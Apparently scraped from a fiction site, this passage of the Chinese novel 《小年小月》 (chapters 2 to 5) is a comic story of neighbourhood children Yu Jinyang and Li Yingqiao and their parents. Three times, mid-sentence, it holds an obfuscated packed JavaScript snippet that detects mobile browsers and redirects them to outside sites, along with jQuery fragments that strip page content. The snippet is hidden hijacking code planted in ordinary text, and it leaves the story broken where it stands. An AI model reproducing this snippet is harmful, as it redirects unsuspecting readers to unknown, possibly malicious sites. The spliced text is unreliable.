《小年小月》 3. 第二章 俞津杨小名叫淼淼,有回他们全家去五台山给太奶奶祈福,下山的时候,他老爸碰见个算命瞎子。对方说他天生大汉命,他爸兴致盎然和对方攀谈两句后,才知道对方说的是干旱的旱,说俞津杨命里很缺水,没有水的话,容易长不高。 他爸这个说风就是冰雹霜电的性子,一口气给他加了六盆水。连带着名字里,也加了个“津”字。 只是成效一般,李映桥比他甚至还要高出半个头,不知道她吃什么长的,在那时的他看来,这姑娘又虎又莽,听李姝莉阿姨说,李映桥一顿要吃三碗饭。于是时常听她饭点就问隔壁邻居,有没有要孩子的,有人真说要,她又说想得美! 所以他妈时常怀疑李姝莉阿姨的精神状态,不光他妈,小画城大部分的大人都觉得李姝莉阿姨的精神状态过于“好”,而显得其他大人就有些死板,所以他们私底下时常议论李姝莉阿姨的两段婚姻。 大人议论大人从不避开孩子,就像孩子打架也不会找大人来帮衬。两个世界明明说着同样的话,中间却像横隔着雅鲁藏布大峡谷,成人间那些辛辣的秘密,好像随着经年累月的石化,永远沉在谷底,再随着孩子们的记忆慢慢褪色。 所以几乎整个小画城的小孩子都知道,李姝莉有个坐过牢的前夫,但却没有人知道,李映桥的父亲到底是不是坐过牢的那个,以至于李映桥的拳头就是这么练出来的。 小画城所有人都叫她小坦克。 正如他爸爸所讲,小画城的孩子非常多,三不五时冒出一个,名字也都大差不差,所以大家一起玩玻璃弹珠或者跳房子的时候,就按名字组队——“子”字辈的常驻嘉宾有:子轩、子豪,“嘉”字辈多数是女孩们:妙嘉、诗嘉。 他和李映桥因为没能混进这些字辈里,只能被勉强归类为“木”字辈。 所以他俩总是被归在一组,但说实话,他不太愿意和她一组,这个女孩好胜心太强了!赢了,拉着他跳舞,输了骂他是猪,有时候急了还会抡圆胳膊给他背上不由分说地来一拳,给他背打乌青了,她还说:“喵喵,你该刮刮痧了,湿气太重了。” 唐湘女士第二天真带他去刮痧,刮完又嫌贵,让他以后觉得不舒服就让李映桥给他两拳,能省不少钱。 俞津杨:“……妈妈?” 他试图唤起母亲的良知。 但唐湘女士打从决定带他来找爸爸的那天起,就在徐徐开动的火车上,就给他发表过关于良知的重要讲话:“女人如果太有良知,一般苦得都是自己。虽然不绝对,但在妈妈狭隘的世界观来看,目前女人太有良知的,要么吃爱情的苦,要么吃家庭的苦。所以你想让妈妈苦吗?” 他猛一摇头,“当然不想。” 唐湘满意地点点头:“妈妈打听过了,爸爸还没结婚,这次带你回去找爸爸,如果他能接受你,妈妈就一个人回海南再打拼几年。以后你跟爸爸一起生活,他条件好,能让你安安稳稳到大学毕业。以后等你有出息了,再带着爸爸的钱来海南找我,当然你如果恨妈妈……” 当时还叫俞杨的他就这么一步步地被他亲爱的妈妈牵着走:“当然不会,我会好好学习的,等我大学毕业,我就带着爸爸所有的钱来找你。” “你自己也先挣点再来。” 他猛猛点头:“好!我会挣钱养你的!” 话是这么讲,唐湘也舍不得儿子,看着对面自己的孩子,乖顺地坐在火车上,人还没桌板高,眼圈泛着红,泪水滚在眼底,就像小鱼池里慢慢蓄起水,还在太阳底下发着亮,眼神却倔强又懂事地盯着她。唐湘再硬的心肠忽然又软下去。 “你们当初为什么分开呀?” 小孩都好奇父母的爱情史,以及自己是怎么来的。只是妈妈从来不提爸爸,他也不敢问。 “一言难尽,”但唐湘还是决定告诉他,“你爸爸说要生十个,这谁听了不跑。” “……” “当然也还有一些别的原因,只是他们那个镇的人就这样,脑子里都是些迂腐的思想,‘香火精’,你懂吧?” 他显然似懂非懂。 唐湘当时是决定离开的,所以第一次跟儿子说了很多平时不会讲的话,那时的俞杨还不太理解,“我们的家乡是一片很干涸、很干涸的黄土地,你要记住,少听那里的大人说话,听了也别往心里去。但你自己要好好学习,多看书,会让你对世界有新的思考方式。” 谁料,妈妈还是在爸爸的死缠烂打下,决定陪他一起在丰潭长大。他有时候也挺佩服他爸,结婚前爷爷暗示他最好去做个亲子鉴定,爸爸平日里看着脑子不太好使的一个人,在关键时刻能铿锵有力地说:“不做,那是对唐湘的侮辱。我相信她,阿杨就是我的孩子。” 于是,他就这么从海南回到了本应在此长大的地方。在这里,他结识了坦克李映桥,认识了留守儿童高典,还有姥爷放屁声准时又响亮、宛如小画城集结号的郑妙嘉,以及各种“子”字辈的人。 爸爸会给他细数各家各户的长辈根底,主要还是强调他和谁不对付,好让他不要跟人家来往。他一听就听出来:“李叔叔这么坏,那李姝莉阿姨是一个怎样的人?” 俞人杰:“打巴掌很痛的人。” ** 有相当长的一段时间,俞津杨都觉得李映桥在家里应该被打得蛮惨的。因为她总是捂着脸来上课,上课时还总是发出“嘶嘶”的倒抽气声儿,问她怎么了她也不说,遮遮掩掩,好像有什么不可告人的秘密。 所以,晚上回到家他犹豫了一下,还是和妈妈讲,李映桥可能被家暴了,她这两天上课一直捂着脸。 “爷爷个腿的,”妈妈先是这么骂了句,“李姝莉怎么可以打孩子!” 他妈妈对家暴深恶痛绝,好几次爸爸拎着根爷爷祖传的篾丝找他茬的时候,妈妈反手抄起鸡毛掸子直接朝他爸飞过去,有时候也可能是拖鞋之类的,然后魄力十足地警告他爸:“俞人杰,你敢动他一下试试。” 爸爸只能悻悻地收起东西,但是看着他的眼神满是不甘心。其实,他一直对他爸的行为有点迷惑,不知道他到底想干嘛。犯错了挨打他也认,但有时候纯找茬。直到某年暑假,有一部动画片火遍大江南北。他在李映桥家的杂货铺里,正蹲着看得津津有味,直到看见灰太狼那不甘心的熊样,突然一阵熟悉感涌上心头。唯一的区别,灰太狼的屁股打了补丁,俞人杰没打。 当天晚上,唐湘女士就去小画城的杂货铺刺探军情,很快回来和他讲:“李映桥是晚上躲被窝里吃薯片吃蛀牙了。” 俞津杨:“……” 俞津杨感觉天塌了。当着老师面都没少吃薯片,回家需要躲在被窝里吃薯片? 她可是坦克啊。 虽然他也不知道坦克这玩意儿具体是要干什么,只是听小画城的小孩都这么拥护她。 “对了,淼淼,你俩是不是打架了?我刚才去杂货铺才知道,李姝莉说你鼻子出血了,怎么没告诉妈妈呢?”唐湘蹲下来作势要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379941|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他的鼻子。 俞津杨哼一声说:“打输了有什么好说的。她的拳头简直堪比大铁锤,妈妈你敢信吗?李映桥一拳打过来,我以为老师关灯了。” 唐湘“啊”了声,恨不得掀开他的天灵盖看看,“没脑震荡吧?头晕不晕?这样,现在马上换件衣服,妈妈带你去医院拍个片。明天我得给你老师打个电话。” 俞津杨忙说:“电话别打了吧,我和她已经握手言和了。还拍了照片,徐老师说挂在教室的黑板上两周,以示惩戒。” 同学们已经笑了好几天,他俩最近上学只要一走进去,原本鸦雀无声的教室里瞬间哄堂大笑。搞得他现在都不敢太晚去,老早一个人坐在教室看书。 唐湘:“这有什么好笑的,儿子,不要在意别人的看法。” 俞津杨:“因为他们说,像诺基亚的开机广告。” “哈哈哈哈哈哈哈哈。” 他看着唐湘的嘴脸:“……” 等到‘惩戒期’结束,他要去找老师拿底片,撕成碎片,然后让李映桥吃下去! 然而,他很快见识到自己和“坦克”的格局还是有点差距。 这天黄昏,小画城仍旧寂静,正值大人们的下班高峰期,陆陆续续响起自行车的电铃声,亦或是汽车轮子辚辚碾过麻石路面沉闷的声响。 杂货铺的卷帘门半拉着,里头没开灯,昏蒙的暮色光照在门口落下些残影,能照见玻璃展柜后蜷坐着个小小的身影。李姝莉还在外头跑长途,这几天夜晚都是小姨来陪她睡。这会儿小姨还没下班,李映桥放学就把杂货铺的门半开着,这样熟悉的邻居们如果想买东西自己会进来,景区内的游客问两句也就会离开。 李姝莉不在,李映桥这么点大是不敢擅作主张自己对外开张,怕收到假/币。正是这会儿,徐老师坐在附近的馄饨店里酣畅淋漓地吃着大碗馄饨,他平日里骑进骑出的那台二八大杠,此刻正明晃晃地停在李映桥的杂货铺门口。这车那几年都没什么人骑,整个学校只有他爱骑二八大杠。 李映桥手很痒。 她想拔掉徐老师的气门芯,谁让他把照片挂在黑板上,让同学们嘲笑了好几天。 她蹑手蹑脚地走出去,悄悄从半卷着的卷帘门里往外看,那台二八大杠的自行车后轮近在咫尺,她心里顿时一喜,嘿嘿。 徐老师,今天走着回家吧,好吗。 俞津杨刚准备去给太奶奶送晚饭,就碰巧撞见这猥琐的一幕,杂货铺的卷帘门下蛄蛹着一团可疑的“蛐蛐精”,卷帘门只开了三分之一,她整个人对折成缩在卷帘门缝里,辫子在门挡下一晃一晃,正呲牙咧嘴地伸手去拔徐老师的二八大杠的气门芯。果然是坦克的格局,永远不在内部找敌人,她永远要找难度最大的那个boss复仇。 下一秒,眼看就要拧完螺帽的李映桥感觉自己后脖颈被人提溜起来,整个人被一股神奇的力量从卷帘门的门缝里倒着给她拔出去,熟悉的嗓门炸雷一般从她耳边灌进来:“小破孩,这个月几次了?你自己说说,拔我几次气门芯了!手怎么这么痒!” “……” 说实话,俞津杨也从来没见过这台二八大杠,打从他来这里的第一天起,他老爸就是一个每天不对着汽车后视镜搔首弄姿几分钟就无法出门的人。 李映桥正被他拎在手里,一边“叔叔叔叔”地巴巴叫着他。 俞人杰:“现在叫爹都没用,你跟我回家,拿打气筒,给我打个五十遍!看你下次手还痒不痒。” 4.第三章 小画城是拆二代的聚集地,拿着入不敷出的工资,住得都是自建小别墅。小画城后方有个小码头,丰潭江的支流从其奔涌而过,江岸居民多数将自建房改建成商铺,偶尔给游船上的乘客们抛售泡面烟酒和小虾米。有些是不屑这些蝇头小利,比如俞大老板,他手下经营着四五间玩具工厂忙得像头拉不完的驴,自然也顾不上门口这点三瓜俩枣。 他和李姝莉的铺面正好隔着一整条川明街,李姝莉在街头,他在街尾。李映桥有多皮他是知道的,尽管小破孩“叔叔叔叔”地叫了一路,他也没心软,本着是要好好替她改改这看见气门芯就想拔的毛病。 李映桥开始还扑腾着,后来被他这么不由分说地拎了一路,也彻底放弃,小脑瓜子认命般地耷拉着,一副听之任之的模样,活像只偷小鱼干被逮了个正着的小猫,完全听凭俞人杰发落。 然后在俞大老板的一声令下,她立马抡圆胳膊铆着劲儿足足给他的后轮打了十分钟气,才气呼呼地说:“叔叔,可以了吧?” 李映桥其实心里怎么也想不明白,这个平日里最爱开着大奔招摇过市的俞叔叔,今天怎么会骑一台这么过时的二八大杠,她以为只有徐老师那么死板的人,才会骑这个车。 然而,十分钟还不够俞人杰抽支烟,他站在家门口的路灯下吞云吐雾,心想着无论如何也要这让这个小皮猴打够一支烟的时间,刚要说顺便前轮也给叔叔补点的时候,身后突然传来唐湘的声音:“俞人杰!” 唐湘站在门口,旁边还站着个小的,手上拿着刚拔完的蒜苗,看着路灯下一大一小,话赶话又催了句:“干什么你?” 俞人杰后脑勺被吼得跟揭开一层皮似的,透着丝丝凉意,怕唐湘误会他在家当不成大爹,在外面偷摸当,于是刚要说是这小破孩先拔我气门芯。李映桥立马先发制人地大声说道:“唐湘阿姨!俞叔叔说让我帮他打个气!他就给我五块钱!” 唐湘看着俞人杰:“那给钱啊,磨蹭什么。” 俞人杰:“…………” 俞人杰开始觉得他和李家所有人的八字上辈子都被大蒜酱腌入味了,这特么也太冲了。 很长一段时间,俞人杰都把李映桥列为整个小画城“第一猴精”以及“第一不好对付”,小时候就这样,长大简直不得了,三令五申让儿子离她远一点。 俞津杨一边趴在桌上写作业,一边用一种“你怎么这么不懂事儿”的无奈口气对他老父亲说:“爸爸,我俩做同桌不可能一句话不说。再说,李映桥那个脾气,我不理她,她能揍到我理她为止。你能不能少招惹她,省得她第二天上课又来烦我。” “下学期就换同桌了吧,再忍忍。你是个男子汉。” “哼,干旱的旱吧。” 哪壶不开提哪壶,俞人杰本来都打算走出他的房间,转头又上下打量他一眼,“儿子,你今年的个子怎么好像又没长?你这身高还能和李映桥做同桌?我看她快高你一个头了。” “所以她进国旗班了。” “你想进吗?” “不想。” “放屁,”俞人杰又折回来,附身凑近他搁在桌沿的下巴,瞧着儿子的眼睛,毫不留情地戳破说,“你明明就很想。” 俞津杨不让瞧,笔尖在作业本上不知道划拉些什么,一察觉到有黑影覆下来,立马将脑袋扎进臂弯里,不给他爹研究的机会,声音嗡嗡,闷在桌板里:“说了不想就不想。” 俞人杰思索片刻,在他的军舰小床上坐下,厚颜无耻道:“我要不给你们校长打个电话……最近厂里新到了一批山毛榉,可以叫木工师傅打几百张桌椅——” 俞津杨瞪着一双大眼睛:“……” “打什么桌椅,”唐湘进来搡着他的胳膊,给推出去,“别打扰儿子写作业,你干点正事吧行吗,你还嫌儿子在学校被人说得少了是吧?” “他们这是嫉妒!他有我这么个帅老爹,还有钱,让别人说两下怎么了?” “你自己挨两句都急眼,儿子脸皮比你薄多了。而且,国旗班条件这么硬,他站头排老师都嫌矮,你是把他架到火上烤啊!你能不能别老拿他和李映桥比长比短的——” 话音未落,俞津杨的房门“砰”一声关掉了。门外两人倏地停下看了眼,看着紧闭的房门又齐刷刷转过头去,唐湘仍瞪着他,放低声音道:“比什么身高啊,要不比比成绩呢?再不济,你自己和她爹比比呢?” 俞人杰:“你想让我去坐牢啊?” 唐湘:“……读过书吗?听不出来好赖话。我是说,己所不欲,勿施于人!更何况还是你自己的儿子,他心里别提多烦你。” 俞人杰不当回事:“胡说八道,前两天卷子发下来都敞敞亮亮地写着‘人杰儿子’这四个字,这种待遇你就说小画城哪个爸爸有?” 唐湘一巴掌拍他脑门上:“你还敢提!那是因为你非要给他加个津字,他本来俞杨俩字都写不明白!他现在索性自己名字都不要了,”说着,唐湘掰着四根手指头边数边一字一顿说:“‘人杰儿子’——多头脑简单、四肢发达的四个字啊。” “……” **** 转眼,二零零七年,鸟巢、水立方等奥运场馆相继竣工,零八北京奥运已经进入分秒必争的备战状态。 这天放学,小画城大人们还没下班,嶙峋的山脊仿佛困在地根深处的巨兽露出的爪牙,也没能将夕阳抓下来。 李映桥听见下课铃一打响,立马将笔往桌板里一丢,以百米冲刺的速度飞奔回家,那消失的速度简直堪比火箭发射,俞津杨前一秒还在春风化雨试图感化她,“老师今天让我盯你值日——” 后一秒座位上已经空空如也,一片落叶都没给他留下。 俞津杨:“……” 俞津杨简直难以忍受,千纸鹤,千纸鹤她不叠,值日,值日她又不勤快,学习,学习还是个倒数的。他真是倒了八辈子大霉要跟她同桌两年。 徐老师没多久就被调到市里的学校,新来的班主任对他们不熟悉,征询家长们意见后也没有随意调换位置,尽管俞人杰脚都举上去了,新来的这位老师铁面无私,不吃他那套,尤其看到他的大奔后对他更是不屑一顾。 于是俞津杨就这样和李映桥同桌到四年级。至今他还是不能接受,就这样的人,还能进国旗班,还能每周一扛着鲜艳的国旗接受他们的注目礼! 自从进入画城小学以来,俞津杨在唐湘女士的谆谆教诲下,各方面都尽量让自己达到画城大人们眼中的“完美小孩”,除了身高是他的硬伤之外。他是班长兼职中队长,目前晋升的空间也就剩下大队长,不过这不在他本学期的计划内。唐湘女士也坚持认为还是成绩比较重要。 自从跟李映桥同桌,体育课用来测肺活量的千纸鹤她是懒得叠的,成绩更是顾头不顾腚,除了卷子上那俩名字写得漂亮之外,其他地方简直惨不忍睹。好几次老师都气得给她批语——“再拿卷子垫你的瓜子壳我叫你妈来!” 而且,还时不时和隔壁班的男生打架,天天给他这个班长惹事生非。到头来因为长得高,能和高典一起大摇大摆进国旗班,他作为中队长却只能站在主席台下面,瞻仰她作为护旗手的威风。完了回去还要端茶倒水借作业给她抄。 俞津杨愤愤咬牙,这次打定主意不再管她。 这时,高典回过头来:“坦克呢?” 俞津杨面无表情:“开走了。” “……” 高典是留守儿童,父母在深圳打工,一年也就过年回来一趟。他平时和爷爷奶奶一起住在小画城,爷爷奶奶年纪大,不能来学校接他,都是他自己一个人背着书包过马路。学校就在小画城的对面,路并不远,高典个子很高,但显然基本上是拿智商换的,他一二年级过马路都让门卫大爷替他看着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388744|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会儿也正愁呢:“淼淼,你太奶奶过生日,你给她写什么贺卡啊?” “长命百岁、福如东海、寿比南山。” 高典:“……” “怎么了?” 高典:“假如这世界上有这么一个人,他呢,今年九十九岁,哥哥叫东海,弟弟叫南山,俩都挂掉了。那他应该得到什么祝福?” 俞津杨:“……那就老老实实祝他健康长寿。” 高典抓耳挠腮:“那我奶奶会说我的学费白交了!” “……咱俩上的一个学。”俞津杨小朋友爱莫能助地说。 *** 李映桥几乎在一分钟内跑回家,学校到杂货铺的距离也就两三百米。对于李姝莉来说,她刚收拾完今天的仓库,听见学校的放学铃声打响,下一秒,桥桥就已经出现在家门口,铃声的余韵还在她耳边绕着呢,女儿已经坐在玻璃柜台里大口大口地啃上零食了。 李姝莉叹了口气,锁上仓库门说:“我真应该听你们体育老师的建议,送你去练个短跑什么的,这速度,老师布置作业你听清了吗?” “没听。”李映桥嚼着咪咪虾条,如实说,“晚点问俞喵喵,他肯定记了,他恨不得连老师放个屁都揣兜里给他妈闻一闻。” 李姝莉没工夫搭理她:“我去买点菜,晚饭你舅舅过来。把收银的柜子锁锁牢,别让他看见。” 李映桥立马从小板凳上站起来,昂首挺胸高声道:“收到!” 等李姝莉一出门,她才慢半拍地一弹自己的脑门猛然想起来,“今天要值日!完蛋!” 川明街的麻石路面蒸腾着暑气,傍晚时分的夕阳像锅底烧热过又冷却的热油,余温覆盖整条寂静的街道。学生们像一窝窝的蜂,从街面一波波成群结队的走过,李映桥估摸时间,探头探脑地对面马路即将涌过来人流,果然看见一颗格外熟悉的人头,她立马拿出准备好的一碗水和勺子,先狠狠在自己的侧脖颈上斜着剜了一勺,那片的皮下血管,瞬间爆开,划拉出一整片鲜艳的红砂。 啊?还真中暑了。 她如获大释,立马叫住正准备从她铺子门前绕过去的俞津杨,“喵!” 俞津杨当作听不见,显然不想和她交流。脑袋上还特意戴上前两天老爸从上海出差回来送他的一个当时很热门的头戴式耳机,他早上出门时老爸手忙脚乱塞他书包里。 如果李映桥话很多让他带上耳机不要和她说话,但是没有给他匹配任何MP3和随身听之类的音乐播放器,纯纯就是一个装饰耳机。他爸说,听音乐容易分散注意力,还有可能会导致耳聋,小孩子还是不要听太多,耳机的作用还是隔绝李映桥这个烦人精。 他白天上课没戴,放学这会儿决定戴上,怕路过杂货铺的时候被李映桥逮住。 但李映桥还是把他逮住了,连他没地方插的耳机线也一起逮出来,拎到他眼前促狭地晃了晃:“喵喵,听什么呢?听自己的心声吗?” “……”他一把夺回耳机线,脸不自觉红了,有种被人拆穿的窘迫,他脸皮确实很薄,都怪老爸出的馊主意,他为了维持住班长的威信,只好冷冷地看着她:“李映桥!” 李映桥哈哈大笑,想起小画城里那些动不动就戴着随声听装酷的小男生:“脸皮这么薄还要学别人装酷。好嘛,我又不会告诉别人,只要你帮我瞒过值日的事情,这件事我就烂在肚子里,不然我就告诉高典他们。你其实私底下喜欢装酷。” “……” 俞津杨现在可不吃她这套,也懒得和她解释原因:“随便你,反正我明天也会告诉老师,你又逃值日的事情。” 李映桥一愣,气得又去揪他的耳机线:“你!怎么这样!你这个叛徒!告状精!人民的公敌!” 俞津杨偏头躲开,忍不住皱眉说:“你真的蛮吵的,我说真的,耳朵上罩这么个东西,我还能把你的话听得一清二楚。” 5.第四章 俞津杨第二天一到教室,由于忌惮对方的拳头,决定再给她一个将功赎过的机会,只要她能早点到教室,在早读课之前把垃圾给倒了,他这次就不打算告诉老师。 “我不去我不去,我去了肯定要被老师骂,我昨天忘记做值日了。”李映桥把头蒙在被窝里,瓮声翁气和她的老母亲恳求说,“妈妈,我中暑了!你让我在家歇一天吧,上学太累了!一节课四十五分钟,坐在那动也不让动,怎么可能呢。我喜欢看店,我喜欢卖东西,我要在家看店!最主要是我喜欢妈妈!我不想和你分开。” 最后两句李姝莉当作没听见,这就是她素来的手段,只要能不让她去上学,她什么肉麻话都讲得出来。李姝莉把早餐放她床头,决定不再逼她,“那这样,今天咱俩换一天,你在家看店,妈妈替你去上学。” 李映桥立马把脑袋从被子里掀出来:“好耶!” 李姝莉也点点头:“那你把早餐先吃了,隔壁糖糕奶奶开门,你记得帮她拉一下卷帘门。” “好!没问题!” “八点去菜市场买条鱼,我要吃。”李姝莉又说,“在我下课之前,你得把今天的午饭做好,可以吗?” 李映桥脸又垮下去,“啊?我不会做饭呀。” 李姝莉皮笑肉不笑地说:“所以你得去上学。” 李映桥瞬间蒙上被子:“学校里又不教做饭。” 李姝莉女士靠着门框,双手环在胸前,想了想说:“要不,妈妈给你转到新东方学厨师去?你看看你对什么菜系感兴趣,中厨还是西厨?回头我先做个小厨师帽,你戴着去上课,咱不能输在起跑线上。” “……” 话音刚落,卷帘门被人“哐哐哐”拍了拍,带起哗啦啦的铁皮抖动声音,随之,门口响起:“李姝莉,有你挂号信。” 李映桥一下从床上弹起来,“是爸爸吗!” 李姝莉转身,晨阳将她削瘦的身影,如同淡青色的墨拓在斑驳的墙上,她回头看着床上卷着被子蜷成一团的女儿,又强调一遍:“我说了,你没有爸爸。” 李映桥:“别想骗我,小画城的叔叔阿姨都说爸爸在坐牢,他是杀人犯,对吧?” “……” “不是!”李姝莉走过去,把人从床上抱出来,“说了不是就不是,你别胡搅蛮缠啊!先去上课,老师骂你你就忍着,忍不住回去揍那个小节日。那个节日头敢说什么,妈妈就去揍他。” “啊?”李映桥又觉得,这样好像有点,过分了。 李姝莉捏捏她的脸,从旁边捞起衣服给她套上,这才说:“别听别人胡说八道,你爸爸不是杀人犯,你爸爸是个很好的人。” 李映桥乖乖套上衣服:“真的吗?那为什么你一直不愿意跟我说爸爸的事。” 李姝莉:“不是不愿意,是我也不了解他,不知道该怎么跟你讲。” 李映桥愣愣地问:“不了解怎么会有我呢,俞喵喵说,他爸爸妈妈可相爱了,连一天上几趟厕所都要给对方打报告。” 李姝莉:“……得了吧,这话你也信,节日头那个样儿,你唐湘阿姨都烦死他。” “没有吧,俞叔叔挺帅的,就是脑子不太好使,”她说完,背上书包从早餐盘子里捡了个颗鸡蛋在脑壳上一敲,迅速剥了个精光塞嘴里,这才大声宣布:“妈妈,我去上学啦!” ** 李映桥一到教室,就抱着“他准保像条哈巴狗似的屁颠屁颠去老师办公室打她小报告”的心思对俞津杨下了战书,人刚走进去,“啪”一声,把书包甩桌板上说:“俞喵喵,我要和你决斗。” 刚帮她倒完垃圾回来,屁股还没坐热的俞津杨:“……” 高典闻着火药味儿就转回头来:“决斗好啊!你俩很久没决斗了!怎么样,赌注是什么?放学我叫上郑妙嘉,让她姥爷吹个号。” 李映桥忙说:“别!她姥爷最近肠胃不好。你叫上妙嘉,还有子字辈那几个兄弟姐妹,让大家做个见证,”她看着俞津杨,眼神乜斜地说,“俞喵喵,今天不是你死,就是我活。” 高典领悟力多高啊,立马就听明白了,有点怜悯地看着俞津杨:“横竖是你死。” 俞津杨从昨晚开始,对李映桥这个“抓马”的同桌,都决定放任自流的态度,他自顾自戴上耳机,决定从这一刻这一秒开始,不跟她说一句话,安安静静等老师调换座位。 李映桥发现他有了MP3,还是个外国牌,耳机不再是他装酷的单品,她开始眼馋了,立马态度又软下来,“喵喵,给我听听呗。” 语文老师刚说过识十位数者为俊杰,MP3她还是认得出的。 俞津杨没搭理她,自顾自背课文,在笔尖上“唰唰唰”地默写诗词。 李映桥厚着脸皮,锲而不舍地叫他:“喵~” 俞津杨刚要说话,班主任老师从后门进来,敲了敲李映桥的桌板,“你到办公室来一下。” 李映桥知道一准是他,于是又狠狠瞪一眼俞津杨,乖乖站起来跟老师出去了。 新来的班主任姓梁,是位女老师,模样清丽,说话也温声细气,笑起来嘴角还有两颗小酒窝,但她骂人的时候很凶,和平日里温和的模样判若两人。此时她语气不咸不淡:“李映桥,听说你妈妈会开货车?” 李映桥微微一愣,没想到是问这个,竟然没问她昨天值日的事情,她忙不迭点头说:“对,我妈妈以前在外地运货,都是自己开的大卡车。” “那你妈妈应该有C……”梁梅说到这顿了下,怕她不能理解,正要换一个说法。 “C1驾照是吧?我妈妈有——” 梁梅是从城区被临时借调来小画城这个偏僻的郊外小学,心里正憋着烦闷,她本身也不喜欢孩子身上的这种“机灵劲”,学习一窍不通,其他事又过于精和莽撞,于是不容置喙地直接打断说:“学校知道你们家里比较困难,想问问你妈妈愿不愿意帮学校的食堂运两天冷链车,之前的师傅请假了,大概一周就行,钱按日薪结。” 李映桥想说我们家并不困难,而且妈妈肯定不要钱也愿意帮忙的,但怕老师觉得她找茬,于是点点头:“好,我回去跟妈妈说。” 梁梅这会儿又拿出昨天刚批改出来的语文卷子,摊在桌上指着上面密密麻麻的勾叉,想要敲打敲打她,语气不免有些严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399976|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉:“可惜你这么一手好字,诗词是一句都不背,成语也颠三倒四的。四年级了,李映桥,再过两年就要升初中了,你还打算这么混下去?我知道你们住在小画城这帮小孩,父母都是拆迁户,家里条件都不错,但你和他们不一样,不是吗?” “……” “你妈妈这么辛苦,你们住的那个杂货铺听说也是你舅舅的房子,万一他不让你们住,你和妈妈能去哪里?就这样你还不好好学习,整天放学铃一响就跟猴一样蹿回家,我特意不调动位置,就是想着你跟你同桌好好学习学习,俞津杨父亲名下那么多厂子,人学习也没懈怠,班里的大小事务他管理得也井井有条。你自己回去想想,老师是为你好。” 李映桥刚转身要走,梁梅又拍了拍桌子,“把卷子拿走。” 办公室其他老师看着李映桥走出去的背影,对着梁梅“啤嘶啤嘶”两声,凑过脑袋去压低声音说:“梁老师,你别管她了,小心她回去跟她妈告状,她妈是个精神病,医院开过证明的,是什么双相障碍,发病的时候会动手打人的那种,之前徐老师就被她妈打过。而且,李映桥的爸爸,还在坐牢呢,我知道你是好心,她是个没救的,跟她妈性格一模一样。” “她妈是大坦克,她是小坦克。”对方又补了句说。 梁梅脾气又上来了,把桌上剩下的试卷“啪”一声拍在办公桌上,桌面地震,晃倒了半杯凉白开,后面那张俞津杨的卷子被淋了个湿透。 她赶忙抽出来,拎着甩,将还没洇进卷子里的水渍抖开,也不管有没有溅人脸上,边抖落边说:“别胡说八道了,双相情感障碍和精神病不是一个概念。李映桥才几岁,你就能看出她没救了?我说实话,这姑娘我虽然不太喜欢,但也确定以后她混得不会差。我也知道你是好心,还是把心思多放在备课上吧。” 对方瘪瘪嘴,讪讪笑着将椅子退回去,心里谑一句:难怪就你被借调到这里,就这情商,城区的老师能容下你? 李映桥整整一周没和俞津杨说一句话,也没再关注他脑袋上是否戴着耳机,耳机上是否插着mp3,只除了他不在的时候帮他领回上周考完的卷子,一言不发地放他桌上。 她回家照常腮帮子鼓鼓地啃着零食大喊:“妈妈,我回来啦!” 出门也照例和妈妈大声宣布:“妈妈,我去上学啦!” 临走前也不忘把隔壁卖糖糕的春珍奶奶的卷帘门先给吭哧吭哧卷上去,这才一步一晃地,慢悠悠地朝着学校挪去。 嘴里还哼唱着那一年的流行歌—— “乌鸦在歌唱, 麻雀发出鸣响。 没有谁比谁高尚, 河水发着光流淌, 问我的小船要去何方, 我的小船想要见月亮。 …… 河流是森林的脊梁, 没有谁比谁更慌张, 虚妄,虚妄, 世界本就这模样—— 一个巴掌也拍得巨响。” 当然,最后那句是她自己加的。 加完,她自己还十分满意地猛猛点头:李映桥,天才!当歌手去吧! 6.第五章 当天晚上,俞津杨回家从书包里拿出刚发回来的卷子。他午休不在,去开中队长会议,高典说卷子是李映桥给他领回来的。 他看着这张打湿后被晒得蓬蓬干、又好像被人揉过的皱巴巴的卷子,陷入了沉思。 俞人杰此时正人模狗样地拎着俩小杠铃从他房间门口经过,见他一动不动,探过脑袋来叫了声:“儿子,想什么呢?” 俞津杨回过神,茫茫然地看着他老爹:“你最近没惹她吧?” “我惹个毛线,”俞人杰用脚指头想都知道这个“她”是谁,“老子最近老老实实上班好吧。” “我作证!你爸最近上下班都很准时到家,没出去惹事生非,”唐湘女士难得帮他说话,边低头抹着护甲油,边好奇八卦地问,“你和李映桥又吵架了?” 俞津杨扭开头,继续写作业,声音哼唧:“才没有。” 